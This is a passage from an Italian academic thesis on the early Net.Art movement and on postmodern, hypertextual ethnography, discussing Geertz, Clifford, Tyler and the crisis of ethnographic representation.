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IINNTTRROODDUUZZIIOONNEE  

  
C’è una leggenda che narra di una mail anonima spedita nel 

1995 al Net.artista Vuk Cosic.1 Tra lunghe file di caratteri 

alfanumerici indecifrabili erano riconoscibili due parole separate da 

un punto:            

[...] J8~g#|\;Net. Art{-^s1 [...]. 

Un messaggio anonimo incomprensibile diventava 

un’occasione per dare un nome ad una pletora di movimenti attivi e 

pratiche estetiche sulla Rete che nessuno aveva osato etichettare fino 

a quel momento. Con questa tesi cercherò di rendere conto di un 

periodo ‘eroico’ della Net.Art,  che ho individuato in un arco di 

tempo di 7 anni: dal 1994 al 2001. Si tratta di una serie di esperienze 

altamente ibride che spaziano dalla sperimentazione sui codici di 

programmazione che sfociano nella Rete alle tecniche di guerriglia-

marketing, dai progetti/opera volti a investigare i limiti 

dell’interattività online alla diffusione virale di virus informatici 

come strategie di cultural jamming.  

L'inizio della storia che riguarda la Net.Art, finzione o realtà 

che sia, è già di per sè un’ottima chiave di lettura di un fenomeno 

complesso e multiforme. Non si parlerà di Istituzioni più o meno 

accreditate che utilizzano l’efficacia diffusiva di un nuovo mezzo di 

                                            
1 http://www.vukcosic.com (u.a. 17/06/2003) 
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comunicazione per applicare metodi tradizionali di selezione e 

diffusione artistica. Anche se Musei e Gallerie traggono giovamento 

dalle caratteristiche della Rete, i Net.Artisti si pongono spesso in 

modo fortemente conflittuale nei confronti dei vecchi metodi di 

creazione, selezione ed esposizione dell’Arte. Categorie usate per 

differenziare discipline e movimenti artistici non hanno più senso 

con l’avvento e la proliferazione di metamedium onnivori come i 

moderni Personal Computer, oggetti simbolo dell’epoca 

postmoderna per eccellenza. Knowhow diversi si mischiano e 

confluiscono in modo tale da far slittare le differenze tra un Hacker, 

un ingegnere, un attivista o un artista. Il Personal Computer è 

diventato  il luogo in cui approdano e dipartono i flussi 

dell’informazione sonora e visiva, dove si moltiplicano le capacità 

espressive di ogni medium esistente. Insieme alla rivoluzione del 

digitale, è l'idea di Rete alla base delle nuove idee e delle nuove 

attività che am-mirano il World Wide Web. Sono le nuove forme 

dell'"abitare" gli spazi virtuali all'alba XXI secolo ad interessare 

architettura e filosofia, antropologia e ingegneria, informatica e 

comunicazione. Discutendo i concetti di comunicazione, identità, 

comunità, presenza e interattività, analizzerò i movimenti di Net.Art 

andando ad indagare soprattuto  l’esperienza degli utenti su Internet, 

in linea di continuità con un' idea di Rete connessionista e 

condivisionista, contro ogni limite alla libertà d’espressione. Se lo 

statuto dell'arte è stato messo in discussione fin dall’inizio del 
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novecento, da quando cioè le cosiddette avanguardie storiche2 

iniziano a sovvertire tutto ciò che veniva considerato CANONE 

agendo più sul ruolo della comunicazione che sull’espressione, con le 

reti telematiche l’Arte approda alla sua definitiva smaterializzazione, 

le opere diventano nodi terminali sensibili di una Rete infinita di 

collegamenti. Non è più soltanto riproducibile, è Elettronicamente 

Producibile. Non ha più senso un atto mistico contemplativo di 

dovuto rispetto nei confronti di un’opera poichè la sua Aura sacrale 

viene violata in continuazione dall'osservatore/utente. L’interattività 

libera l’opera e chi ne fruisce dal dominio di una chiusa osservazione 

al più interpretativa. La possibilità di una continua manipolazione e 

trasformazione, generata dagli scambi multidirezionali degli utenti, 

dissolve i vecchi meccanismi di potere unidirezionale.  I 

procedimenti di creazione del consenso (sul brand, sul partito 

politico), che nella cutura del Broadcasting risiedono anche nella poca 

partecipazione attiva dello spettatore, possono finalmente essere 

messi in discussione. Il creatore unico delle opere di ingegno entra in 

crisi con l’avvento di progetti collaborativi3 in cui ognuno 

contribuisce alle forme e ai contenuti.  

La stessa navigazione su Internet, che diventa sempre più un 

atto sentito come naturale,  può essere diversa da un semplice 

                                            
2 Movimenti artistici caratterizzati  da una volontà di rottura col passato. Tra i più importanti si 
ricordano il Cubismo,  il Futurismo, il Dadaismo e il Surrealismo.  
3 http://www.linux.org/ (17/06/2003)  
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click’n’buy4, ma farsi atto di politiche del dissenso, come avviene 

durante i Netstrike. La solitudine di una ricerca di informazioni può 

diventare simultanea e cooperativa, grazie ai Browser alternativi5 che 

generano un’esplosione del potere di layout per una fruizione del 

web decisamente anarchica.  

Detournment di tecnologie, scherzi del caso o caso come scelta 

consapevole, errori e riprogrammazione di software (videogames 

inclusi), espressioni estetiche digitali e attivismo politico sono tutti 

aspetti del fare net(ART)work nell’ottica di una cultura della Rete. La 

clonazione del sito del Vaticano ad opera dei cosiddetti 01.org6 non 

sarebbe altro che la codifica informatica del baffo della gioconda di 

Duchamp7: attraverso un minimo intervento un grosso sberleffo alla 

venerazione consolidata.     

                                            
4 Letteralmente ‘clicca e compra’. Espressione legata all’ E-commerce per sottolineare la facilità 

con cui è possibile fare shopping sulle Rete.  
5 http://potatoland.org/pl.htm (17/06/2003) 
6 WWW.0100101110101101.ORG (17/06/2003) 
7 http://www.marcelduchamp.org/ (17/06/2003)  
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AAnnttrrooppoollooggiiaa  ee  IIppeerrssccrriittttuurraa  
 

Essa [la scrittura] sembrava 
favorire lo sfruttamento degli 
uomini prima di illuminarli…La 
scrittura e la perfidia 
penetravano fra loro di 
concerto. 
 
“La lezione di scrittura”, Lévi-
Strauss 

 

 

 

Connecting… 

Nella fase postmoderna in cui ci troviamo, nel pieno di 

un’importante rivoluzione segnata da un’interconnettività che aspira 

ad essere omnipervasiva e globale, alla luce della deflagrazione delle 

grandi ideologie politiche e dell’implosione di settarismi comunitari 

più o meno immaginati (Anderson 1991), le scienze umane non 

riescono a digerire l’attacco ai quadri di riferimento su cui si basava 

la maggior parte dei testi prodotti e delle discipline.  Queste, basate 

prevalentemente su metodologie unificanti e totalizzanti, si sono 

trovate in una condizione di incapacità e perdita di contatto con una 

realtà sociale sempre più frammentata.  I flussi di informazione e 

l’accumulo di capitali simbolici non rientrano più nelle griglie del 

dualismo locale-globale o all’interno dell’opposizione oriente-
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occidente. Matrici identitarie e senso di appartenenza non fanno capo 

più soltanto a delimitazioni di confini geografici, ma vengono messe 

in discussione da nuovi sensi dell’abitare, tecnologie informatizzanti 

e mobilità migratorie.  

 Oggi i discorsi più fecondi di critica sociale sono quelli attenti 

al metodo e ai problemi connessi all’epistemologia. In antropologia 

questo vuol dire rimettere per l’ennesima volta in discussione i 

processi di descrizione, interpretazione e scrittura etnografica, 

soprattutto alla luce dei movimenti migratori, di cui sono contenitori 

i paesi cosiddetti ‘sviluppati’, e dei nomadismi digitali, che muovono 

gli abitanti del mondo Network Connected8 alla condivisione di spazi 

cronotopici sempre più numerosi, fluidi e immateriali. 

La moltiplicazione delle forme e delle fonti della 

rappresentazione dovuta alla rivoluzione del digitale, alla 

proliferazione dei Personal Computer e all’avvento delle Reti 

telematiche, democratizza la scrittura. Intendo lo ‘scrivere’ non solo 

come utilizzo di un codice alfabetico lineare messo nero su bianco in 

forma-libro, ma l’utilizzo dei codici dei media più disparati per fini 

diversi: dall’espressione artistico-letteraria al giornalismo, dalla 

didattica sperimentale all’etnografia.   

La nuova sfida dell’antropologia sta nel riconoscere l’esplosione 

delle forme della rappresentazione portata dalle nuove tecnologie, in 

particolare dalla convergenza dei media nell’interconnettività globale 

                                            
8 Lì dove arrivano le connessioni telematiche 
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di Internet e delle altre reti telematiche. Tutte le critiche mosse 

affinché la disciplina si affrancasse dalle pretese scientifiche per 

avvicinarsi alla semiotica e alla letteratura, tutti gli sforzi affinché 

l’antropologia ritornasse “in patria” perché l’altro non si trovava più 

in un luogo lontano, ma anche sullo stesso pianerottolo di casa 

nostra, devono oggi confluire in una attenta riflessione sulle culture 

della Rete e sulle culture nella Rete, sull’ etnoscrittura ipertestuale e 

sulla pluralizzazione delle rappresentazioni ipermediali. Si impone 

una riflessione sui modi tradizionali di scrittura etnografica per 

coglierne i limiti e superarli attraverso le nuove forme di scrittura, 

libere dai vincoli di monodirezionalità alfabetica e di monologicità.   

Partiti dal riconoscimento del visuale,  

“che viaggia con una pluralità di mezzi tecnologici”, (Canevacci, 
2000)  
come terreno di ricerca dove indagare potere e conflitto, oggi è 

nella proliferazione del visuale nei circuiti immateriali dei flussi 

digitali – Netscape9 - che bisogna immergersi e con cui bisogna 

mettere alla prova l’antropologia. La multimedialità permette 

finalmente un’orizzontalità dei media, relegando il potere lineare 

della scrittura alfabetica a diventare uno tra i tanti livelli comunicativi 

in una liquidità anti-gerarchica. L’interattività e la connettività 

portano invece alla polifonia come dichiarazione d’amore 

metodologica: la coralità delle voci ‘parlanti’ dissolve l’assolo dell’Io 

narrante e unificante in favore di punti di  vista finalmente plurali. 

                                            
9 Non mi sto riferendo al Browser commerciale omonimo, ma ad una nozione più generale di 

“panorama della rete”  
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 Non solo le culture diventano sempre più computerizzate, 

rappresentandosi ed esprimendosi attraverso i livelli digitali multi-

strato della comunicazione, ma è il Personal Computer stesso, con le 

sue componenti hardware e software,  a suggerire o creare nuove 

forme culturali: dai devices10-feticcio delle ultime tecnologie alle 

pratiche sociali delle comunità virtuali auto-organizzate. 

Computerizzazione delle culture e computer culture ridefiniscono la 

natura delle relazioni sociali  e il senso d’appartenenza, fanno 

esplodere il concetto d’identità come quello di orientamento sessuale. 

Lo statuto dell’arte, in crisi irreversibile a partire dalla decostruzione 

effettuata dalle avanguardie storiche  del ‘900, risente delle potenziali 

possibilità d’espressione, comunicazione e connessione dei corpi-

individui immersi nelle reti telematiche. Categorie usate per 

differenziare discipline e movimenti artistici non hanno più senso in 

una Rete pluri-mediale come Internet. Sfumano i contorni tra il 

‘creatore unico’ e colui che osserva l’opera perché la natura dell’opera 

stessa è quella di farsi interpretare, manipolare, travisare. Il parallelo 

è lo stesso se ci spostiamo al campo della scrittura etnografica: non ha 

più senso tenere separati l’etnografo, il nativo-Etnografo e il lettore. 

L’ipermedia applicato alla nuova etnografia concede pari autorità a 

tutti i soggetti di un incontro culturale testuale.  

Un approccio socio-antropologico alle nuove tecnologie e ai 

new media non può prescindere da un uso sperimentale degli stessi.  

                                            
10 Apparecchi tecnologici 
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L’interattività degli Ipermedia esalta l’osservazione partecipante in 

un testo, il corpo-scrittura finalmente agisce attivamente. La 

comprensione dei diversi ruoli sociali che i new media rivestono negli 

strati frammentati delle sottoculture, reali o virtuali che siano, passa 

attraverso le nuove letture-scritture, collaborative e plurali, degli 

universi multipli del cyberspazio. Il campo della nuova etnografia 

deve estendersi anti-geograficamente al cyberspazio, inteso come 

metafora  letteraria:  

"Cyberspazio. Un'allucinazione vissuta consensualmente ogni 
giorno da miliardi di operatori legali, in ogni nazione, da bambini a 
cui vengono insegnati i concetti matematici...Una rappresentazione 
grafica di dati ricavati dai banchi di ogni computer del sistema 
umano. Impensabile complessità. Linee di luce allineate nel non-
spazio della mente, ammassi e costellazioni di dati. Come le luci di 
una città, che si allontanano...."  
(William Gibson, "Neuromancer", 1984, pagina 51)  
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Crisi della rappresentazione e Iperscrittura 

 

In questo capitolo prenderò in considerazione l’etnografia, 

come metodo privilegiato dall’antropologia per la ricerca e la critica 

culturale. Analizzerò le fasi che hanno portato gli etnografi a 

rivolgersi sempre più incessantemente all’epistemologia e alle 

questioni della scrittura.  Individuerò delle opposizioni e delle parole 

chiave che hanno caratterizzato la scrittura etnografica durante il XX 

sec. Introdurrò poi i concetti di Ipertesto e di Ipermedia tentando di 

introdurre l’Etnografia Ipermediale. Questa si rivela essere una 

strada non ancora ben battuta che può portare ad una liberazione di 

molte scritture possibili in etnografia. In questo modo l’autorità 

monologica di un solo soggetto, l’antropologo, viene definitivamente 

accantonata. Dimostrerò come le nuove tecnologie e il Web possano 

convergere, a vari livelli, con le riflessioni dell’etnografia post-

paradigmatica per quanto riguarda la questione dell’autorità dello 

scrittore,  dei problemi relativi ai modi della scrittura e dello stesso 

oggetto di studio. Prenderò come base teorica per un’individuazione 

dell’etnografia post-moderna nell’Ipermedia il saggio di Stephen A. 

Tyler “L’etnografia post-moderna: dal documento dell’occulto al 

documento occulto”, pubblicato  in “Scrivere le Culture” (1986: 163-

182). 
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Frattura corpo - scrittura 

Durante il XIX secolo i trattati di antropologia, o di etnologia, 

così come veniva più comunemente chiamata, venivano scritti da 

studiosi “in poltrona”. Questi scrittori componevano le loro opere 

sistematizzando i resoconti degli amministratori coloniali, dei 

missionari o dei semplici viaggiatori che si erano recati in luoghi 

considerati “esotici” ed erano entrati in contatto con i cosiddetti 

“selvaggi”. Il XX secolo vide invece la nascita di un metodo più 

specifico, l’etnografia, che riuniva in un’unica prassi i momenti 

dell’osservazione, della raccolta dei dati e dell’analisi.  

“L’etnografia è un procedimento di ricerca col quale l’antropologo 
osserva da vicino, registra fatti e vive la vita quotidiana di un’altra 
cultura […] e in seguito stende dei resoconti su questa cultura, 
accentuando i dettagli descrittivi” (Marcus&Fischer, 1986: 63) ” 
Il padre dell’etnografia è considerato Bronislaw Malinowski, la 

cui  metodologia inaugura un tipo di ricerca sul campo che aspira 

all’oggettività scientifica. Secondo le idee di Malinowski è  grazie alla 

diretta presenza del ricercatore in uno  spazio-tempo remoto, quello 

della cultura ‘esotica’ in considerazione, che si può “cogliere il punto 

di vista nativo”, come non avevano fatto viaggiatori e missionari. 

Malinowski restò per due anni nelle Isole Trobriand ad imparare la 

lingua del posto.  Al termine della ricerca però, il resoconto 

etnografico stilato, quello che sarebbe stato letto da una comunità 

accademica occidentale, doveva basarsi su una scrittura il più 

possibile distaccata, vicina al linguaggio delle scienze esatte. La 
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presunta neutralità del linguaggio scientifico poteva legittimare la 

conoscenza antropologica attraverso criteri di verità oggettiva. 

L’antropologia aspirava così ad un grado di conoscenza più elevato. 

 Grazie alla fisica presenza sul campo è lo sguardo del 

ricercatore ad essere il centro da cui si dipana l’interpretazione della 

diversità culturali. Purtroppo ogni questione relativa alla parzialità 

dello sguardo stesso, ai meccanismi di traduzione da un’esperienza 

prettamente visualista ad un testo scritto e al coinvolgimento 

dell’etnografo, elemento comunque disturbante sul campo, diventa 

problematica solo a partire dagli anni ‘60. L’esperienza del ricercatore 

sul campo è l’elemento unificante e legittimante della sua autorità, 

ma sul testo scritto è la forza dell’interpretazione a diventare 

etnografia.  La frattura esplicita è tra l’esperienza sul campo, invocata 

e introdotta per conferire legittimità (l’antopologo è davvero stato lì’),  

e il testo etnografico: la prima postula la presenza dell’autore, il 

secondo universalizza il soggetto-scrittore dissolvendolo e cercando 

di neutralizzarne  il  sempre parziale punto di vista. Dalla necessità di 

una presenza alla necessità di un’assenza.  

“Fin dai tempi di Malinowski, il ‘metodo’ dell’osservazione 
partecipante ha comportato un delicato equilibrio tra soggettività e 
oggettività. Le esperienze personali dell’etnografo, quelle della 
partecipazione e dell’empatia, vengono riconosciute come centrali 
nel processo di ricerca, ma vengono severamente inibite dai criteri 
impersonali dell’osservazione e della presa di distanza ‘oggettiva ’ 
”. (Clifford 1986: 36) 
Durante gli anni ’60 e ’70 si svolsero le maggiori riflessioni 

epistemologiche sulle modalità di lavoro sul campo e sul metodo 
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etnografico. Non fu un caso che le polemiche più accese scaturirono 

dalla pubblicazione del “Diary” di Malinowski, Un diario nello stretto 

senso della parola, pubblicato dalla moglie nel 1967. E’ la scelta del 

titolo stesso  a dare la sensazione che la comunità accademica, 

ancorata in qualche modo a pretese di  scientificità, non si sarebbe 

mai aspettata l’uscita di un testo di tipo personalistico,  firmato 

peraltro da colui il quale aveva fatto dell’oggettivismo funzionale una 

condizione indispensabile per la ricerca. Il testo in questione non è 

altro che l’ombra di una delle più accreditate etnografie del secolo 

scorso: Gli Argonauti del pacifico occidentale (Malinowski 1922).  La 

frattura tra il coinvolgimento e l’esperienza emozionale del 

ricercatore da una parte, e il resoconto etnografico in forma di 

scrittura normalizzata, si palesano nel raffronto di questi due 

differenti testi.  

Come evidenzia bene Clifford  

“da quel momento un implicito punto interrogativo venne posto 
accanto a qualsiasi etnografia eccessivamente sicura e coerente. 
Quali desideri e confusioni si cercava di occultare? Come veniva 
costruita testualmente l’oggettività?” (Clifford 1986:37). 
La tradizione di monografie etnografiche iniziata da 

Malinowski, attenta a non far emergere il lato esperienziale-

emozionale dell’osservazione partecipante,  crea quindi uno spazio di 

non-detto, tra-lasciato, uno space-off oggi considerato troppo 

significativo, sia per le etnografie sperimentali che per la ri-lettura 

delle vecchie monografie.  

“il racconto allora deve avvenire entro le forme della narrativa 
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dominante muovendosi tra gli spazi da essa creati e descritti e 
quelli lasciati fuori, non visti, quelli dello space-off, che 
costituiscono il terreno d’azione di questa subalternità” (Camaiti 
1996: 82).  
In questo piano dimensionale di contenuti potenziali risiedono 

le domande (e si intuiscono le risposte) che l’etnografo tradizionale 

ha tenuto nascoste: “chi parla? Chi scrive? Quando e dove? Con chi e per chi? Sotto 

quali pressioni istituzionali e storiche ?” (Clifford - Marcus, 1986: 36). 

 Renato Rosaldo parla di “dogma monumentalista” in “Cultura 

e Verità” (1989) riferendosi al grado di considerazione in cui sono 

state tenute le “etnografie classiche”. Queste sono state per molto 

tempo ritenute alla stregua di modelli da cui prendere esempio, stato 

dell’arte del metodo etnografico, “descrizioni culturali 

esemplari”.(75) Sebbene oggi siano considerate solo come esempi di 

paradigmi monolitici non più in uso, le “etnografie classiche” 

possono ancora rivestire un ruolo importante se considerate dal 

punto di vista della ricezione. La ri-lettura infatti, in contesti e tempi 

differenti e alla luce di fatti e progetti teorici nuovi, può far emergere 

significati nuovi dallo space-off testuale. L’analisi e la critica culturale 

devono inquadrarsi lungo un continuum in cui le verità raggiunte 

sono sempre parziali, pronte ad essere confutate e ribaltate da nuovi 

soggetti attraverso nuove letture, nuove scritture e nuovi significati. 

La lettura de Gli Argonauti del pacifico occidentale di Malinowski non è 

stata la stessa dopo la pubblicazione del Diary, ma non per questo ne 

deve essere abbandonata la lettura. 
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Da Clifford Geertz ai Post-Paradigm 

Uno dei primi a mettere in discussione il modo in cui venivano 

effettuate le osservazioni e le descrizioni etnografiche fu 

l’antropologia interpretativa introdotta dal pensiero di Geertz. Per la 

prima volta si sottolinea il carattere “fittizio” delle scritture 

etnografiche, 

 “nel senso che sono qualcosa ‘di fabbricato’, ‘qualcosa di 
modellato’ – il significato originario di fiction – non che sono false, 
irreali o semplicemente ipotesi pensate ‘come se’ “. (Geertz, 1973: 
p.53). 
Geertz riporta il testo, con le sue strategie di composizione e 

lettura, ad assumere un’importanza centrale. L’antropologia si 

allontana definitivamente dall’orbita delle “scienze esatte” e dalle 

leggi universali per avvicinarsi all’arte, alla letteratura, alla semiotica. 

Prima di tutto Geertz introduce la semiotica nel suo concetto di 

cultura:  

“Ritenendo, insieme con Max Weber, che l’uomo è un animale 
impigliato nelle reti di significati che egli stesso ha tessuto, credo 
che la cultura consista in queste reti e che perciò la loro analisi non 
sia anzitutto una scienza sperimentale in cerca di leggi, ma una 
scienza interpretativa in cerca di significato”.(Geertz, 1973: p.41).  
 

L’analisi risulta essere in questo modo un procedimento 

attraverso il quale l’etnografo, calato in un universo immaginario ed 

estraneo, opera una scelta di strutture significative in un contesto 

dove “ogni atto è un segno”. L’antropologo osserva, coglie 



 

 23

 
 
 
 
 

informazioni e scrive in un ambiente costituito da discorsi e non da 

“fatti muti”. Le sue elaborazioni non sono che vive narrazioni: 

costrutti letterari che derivano a loro volta da atti immaginativi. 

Lo spazio d’azione dell’etnografia si inquadra quindi, per 

riprendere una distinzione coniata originariamente da Gilbert Ryle, 

nello scarto tra Thick (densa) description e Thin (sottile) description, e 

cioè tra i meri fatti riportati e le  

“strutture significative nei cui termini sono prodotti, percepiti e 
interpretati” (Geertz, 1973: p.42, 43). 
L’interpretazione, risiedendo proprio in questo scarto, si 

avvicina all’ermeneutica, che fonda il metodo di Geertz. Gli uomini 

non interpretano solo osservando e speculando, ma anche compiendo 

le loro azioni quotidiane, sia durante il tempo del lavoro che durante 

quello dello svago. Sia l’etnografo che il nativo sono calati in un 

ambiente multisemiotico in cui  la cultura è un “documento agìto”11. 

Purtroppo Geertz non arriva, a differenza di alcuni dei suoi 

studenti che radicalizzeranno le sue idee,  a preoccuparsi della 

questione dell’autorità dello scrittore-etnografo. Come evidenzia 

Crapanzano in “Writing Culture” (1986:102) prendendo come spunto 

il saggio Il gioco profondo, i dialoghi e le soggettività dei nativi non 

vengono in nessun modo esplicitati. Geertz ricompone le voci diverse 

in un io “anaforicamente libero e in un anaforico, cumulativo “essi”’. 

L’autore e la moglie vengono presentati nell’introduzione come non-

persone, individui alieni calati in un contesto estraneo. Lo 

                                            
11 Riprenderò in seguito il concetto per applicarlo al documento ipertestuale. 
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smarrimento dell’antropologo appena arrivato in uno spazio-tempo 

remoto è chiaro:  

“..presto si comincia sul serio a chiedersi se si è veramente reali” 
(400-401).  
E’ esemplificativo, seguendo sempre  Crapanzano,  notare l’uso 

dei pronomi personali all’interno del testo che, lungi dall’essere 

elementi grammaticali neutri di un discorso descrittivo, evidenziano 

il gioco della soggettività-oggettività tra l’antropologo e i suoi 

‘nativi’. È importante notare come il “noi” sia statisticamente 

minoritario in tutte le produzioni etnografiche, e come Geertz, 

nonostante l’innovatività del suo pensiero, in questo non faccia 

differenza. Paradossalmente il farsi-persona di Geertz, che avviene 

con l’irruzione della polizia, coincide con la scomparsa dell’Io-Geertz 

dalla scrittura in favore di un Io – universalizzato - narrante.  I 

balinesi invece non sono mai ‘Io’ o ‘tu’, ma costituiscono un corpo 

unico e organico: essi…i Balinesi.  

Senza il testo non c’è interpretazione, ma il testo non è il 

discorso, che per essere compreso ha bisogno della presenza del 

corpo. Come fa notare anche  James Clifford, riprendendo il pensiero 

di Ricoeur, la messa in forma dei dati raccolti sul campo avviene 

sempre ad una certa distanza dal contesto della raccolta:  

“L’etnografo, alla fine, si allontana sempre portandosi via i testi per 
le successive interpretazioni (e tra questi ‘testi ‘ trafugati possiamo 
includere i ricordi: avvenimenti rimodellati, semplificati strappati 
dal contesto immediato in vista di esser interpretati in ricostruzioni 
e descrizioni differite)”. (Clifford, 1988: 55).  
La realtà culturale descritta diviene coerente all’interno di un 
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testo, indipendentemente dagli attori. Per arrivare a questo l’autore 

ha bisogno di creare una finzione narrativa che comprende un 

“autore generalizzato” e un “oggetto generalizzato” che viene fatto 

passare per “i balinesi”, “i trobriandesi” e via dicendo. La finzione 

narrativa è costruita anche intorno alla figura dello stesso 

antropologo-Geertz. Clifford infatti, a proposito del combattimento 

di galli, fa notare come nel testo si abbia la percezione di un 

antropologo che, partendo da una condizione “infantile”, in cui lo 

smarrimento e l’incomprensione sono le caratteristiche principali, 

evolverà fino ad acquisire una dimestichezza tale da permettergli di 

rendersi invisibile: “egli sta facendo uso di una convenzione stabilita 

per inscenare il raggiungimento dell’autorità etnografica” (1988: 57). 

Nella produzione di Geertz non c’è l’accento su un problema 

fondamentale che caratterizzerà le riflessioni degli autori post-

paradigmatici: per quanto lo studioso si sforzi di non sottomettere la 

voce “nativa” alla sua voce, rivolta sempre ad una comunità di 

occidentali,  egli è di fatto il direttore d’orchestra, i soggetti osservati 

parlano attraverso la sua scrittura. L’etnografo scrittore è un 

interprete di testi culturali, ma si mantiene tuttavia a debita distanza 

dall’oggetto osservato, interprete neutrale più che dialogante. Pur 

considerando il nativo come soggetto interpretante, che fa le 

interpretazioni “di ‘prim’ordine”, è proprio il suo ruolo di soggetto 

ad essere negato, a non entrare negli scritti, ad essere subordinato alla 

mediazione della comprensione del ricercatore.  
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“Troppo spesso l’etnografo dimentica che il suo nativo […] non 
può sopportare qualcuno che legga da dietro le sue spalle” 
(Crapanzano, 1986: 108).  
Troppo spesso, aggiungo io, l’etnografo dimentica che il suo 

nativo è semplicemente girato di spalle. 

“Il solo modo per arrivare a un’osservazione accurata e a una 
fiduciosa conoscenza del mondo è attraverso una raffinata 
epistemologia che si faccia pienamente carico di contraddizioni 
irresolubili, paradossi, ironie e incertezze nella spiegazione delle 
attività umane” (Marcus -  Fischer: 1986)  
Marcus e Fischer, in “Antropologia come critica culturale”, 

sono tra i primi a parlare di una “crisi della rappresentazione”, 

considerata più per le prospettive positive e liberatorie che una 

catastrofe del genere può generare, che per lo smarrimento dei fautori 

di un’antropologia nostalgica e tradizionale. La crisi è infatti per i due 

antropologi  

“uno stimolo di natura intellettuale per la vitalità della scrittura 
sperimentale in antropologia” (1986:49).  
Dopo la seconda guerra mondiale, il funzionalismo - che ha 

origine dal pensiero di Malinowski - fu la corrente dominante nella 

gran parte delle scienze umane, antropologia compresa. La teoria di 

una cultura da studiare in quanto articolazione di norme, ruoli e 

istituzioni (funzioni) dava nuovamente uno schema totalizzante alla 

critica sociale, mentre i conflitti e le tensioni, all’interno di questa 

logica, venivano considerate come manifestazioni patologiche e 

marginali alle quali trovare una cura adeguata. Gli anni ’60 segnano 

invece la fine dell’egemonia della dottrina funzionalista, che diventa 

“una delle voci” tra le tante della ricerca sociale. La crisi dei quadri di 
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riferimento ha eroso anche l’autorità di grandi sistemi concettuali 

come il marxismo e, più recentemente, lo strutturalismo, entrambi 

incapaci di rendere conto delle contraddizioni di nuove complessità 

sociali.  

“Le nostre fondamenta poggiano su un terreno che smotta. Non vi 
è più un luogo (la cima di una montagna) da cui avere una visione 
dei modi di vita umani; non vi è alcun punto d’Archimede su cui 
far leva per rappresentare il mondo.” (Clifford, 1986: 46) 
La fase della “crisi della rappresentazione” è, con le dovute 

cautele, avvicinabile agli Venti e Trenta del XX secolo, quando il 

“saggio, l’esperienza, la documentazione e il concentrarsi 

intensamente su frammenti e dettagli” (Marcus - Fisher, 1986: 51) 

erano metodologie più adeguate a fiutare il mutamento rispetto ai 

lavori di portata enciclopedica dei paradigmi precedenti, dal 

marxismo al liberalismo del mercato senza controllo.  

L’occasione per superare la crisi dell’antropologia e per ridarle 

un slancio propositivo si ebbe in seguito ai seminari di Santa Fe, in 

New Mexico, nel 1986. Otto antropologi affermati, un critico 

letterario e uno storico si confrontarono sulla “costruzione del testo 

etnografico”. Gli interventi che ne derivarono sono poi confluiti in 

una raccolta di saggi, “Writing Culture”, che partendo da questioni 

strettamente epistemologiche, gettano le basi per un ripensamento 

dell’antropologia, sulla base di una liberazione della stessa in senso 

pluralista e letterario.  

Il lavoro dell’etnografo consiste nel tradurre categorie culturali, 

avvicinare per giustapposizione concetti estranei, relativi alle culture 
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oggetto di studio, alle griglie di concetti familiari (familiari per 

l’etnografo e i suoi lettori). In tutta l’etnografia definita ‘tradizionale’, 

il punto di vista nativo - apparentemente poco comprensibile - veniva 

reso intelligibile secondo schemi di riferimento occidentali; ma questa 

traduzione diventa tradimento quando si spaccia per duplicazione, 

quando l’etnografo medium si eleva a specchio riflettente, invece di 

rendere esplicita la sua azione rifrattiva. 

Gli autori di “Writing Culture” discutono la costruzione del 

testo etnografico cercando di porre le basi per una ripartenza: se ogni 

tipo di  scrittura etnografica reca in sé un meccanismo di 

posizionamenti e potere, tali da non rendere conto delle “altre 

culture” senza dover parlare anche della propria,  allora forse il 

problema può essere affrontato facendo di necessità virtù: 

esplicitando le soggettività in gioco e pluralizzando le scritture 

attraverso dialogo e polifonia. Le finzioni narrative delle vecchie 

monografie sono state dissotterrate perché erano state sapientemente, 

o inconsapevolmente, occultate, e soprattutto perché dovevano 

passare per neutralità scientifica. Ma l’occultamento come strategia di 

castrazione delle passioni soggettive può rovesciarsi in metodologia 

della documentazione “occulta”:  

“unione di realtà e fantasia enigmatica, paradossale, esoterica, che 
evoca l’artefatta simultaneità da noi conosciuta come realismo 
ingenuo”(Tyler 1986: 176) 
Seguo Tyler nel suo discorso. Un testo etnografico non deve più 

porsi come veicolo trascendentale di verità, seppur mascherato da 
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ipotesi, ma deve evocare. Questa parola chiave libera i discorsi 

etnografici dalla catena della rappresentazione, perché ciò che viene 

evocato “non deve più osservare i doveri della sostituzione delle 

apparenze”(171). Se il concetto di fiction rappresenta una delle 

maggiori conquiste della critica etnografica, Tyler lo porta alle 

estreme conseguenze trasformandolo in fantasia. La differenza tra 

fiction e fantasia sta nella mancanza di strutturazione e di canoni 

interni della seconda. Una fiction entografica deve rispondere 

comunque a criteri di verosimiglianza, quindi di rappresentazione, 

mentre una fantasia è “un’evocazione di realtà”, quindi anche una  

“fantasia realtà…[…] è la fantasia reale di una realtà fantastica ” 
(Tyler 1986: 182).  
Le realtà culturali descritte non sono più separate dai modi in 

cui sono descritte. Artifici stilistici e retorici diventano la forza 

essenziale dell’etnografia stessa, che non riproduce cultura ma la 

produce attraverso poesia,  letteratura ed arte.  

La critica cui è sottoposta oggi l’antropologia, sulla scia della 

crisi delle altre scienze umane, è quella di non riuscire più a dare il 

senso dell’altro. Se in passato l’altro è stato prima rappresentato come 

una parte funzionale al tutto (funzionalismo), poi come una parte di 

un tutto da prendere in considerazione sincronicamente, a partire 

dagli elementi oppositivi di un sistema (strutturalismo), oggi più che 

mai l’altro sfugge a qualsiasi categorizzazione perché si 

autorappresenta e rimette in discussione l’immagine che ne è stata 

data dall’antropologia imperialista.  Altro ora è anche l’antropologo-
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etnografo. L’Occidente è caduto sotto gli etno-fuochi delle nuove 

inquadrature-scritture “native”, possibili grazie alla proliferazione di 

nuove tencnologie. L’ etnografo indigeno richiamato da Clifford non 

solo studia la sua cultura, ma è parte integrante della nostra. Le 

etnografie che produrrà, investendo soggettività dall’appartenenza 

multipla,  non potranno che essere transculturali. Nessuno ha più ha 

un’autorità esclusiva sulla produzione di discorsi sulla cultura, 

perché ogni voce è considerata parziale, determinata da fattori di 

contesto, storici, politici o di genere. E ogni voce è degna di essere 

ascoltata. Moltiplicare le retoriche vuol dire creare ricchezza 

intellettuale,  fare della parzialità una modalità di scrittura altamente 

liberatoria:  

“Ma non è una liberazione riconoscere che nessuno può scrivere di 
altri come fossero testi o oggetti separati?”(50).  
 Le nuove etnografie sperimentali confonderanno le 

soggettività e gli oggetti della ricerca, negando la loro separazione:  

“L’etnografia postmoderna…realizza un’utopia cognitiva non della 
soggettività dell’autore o del lettore, ma dell’autore –testo-lettore , 
una mente che non ha dimensione individuale, ma dimensioni 
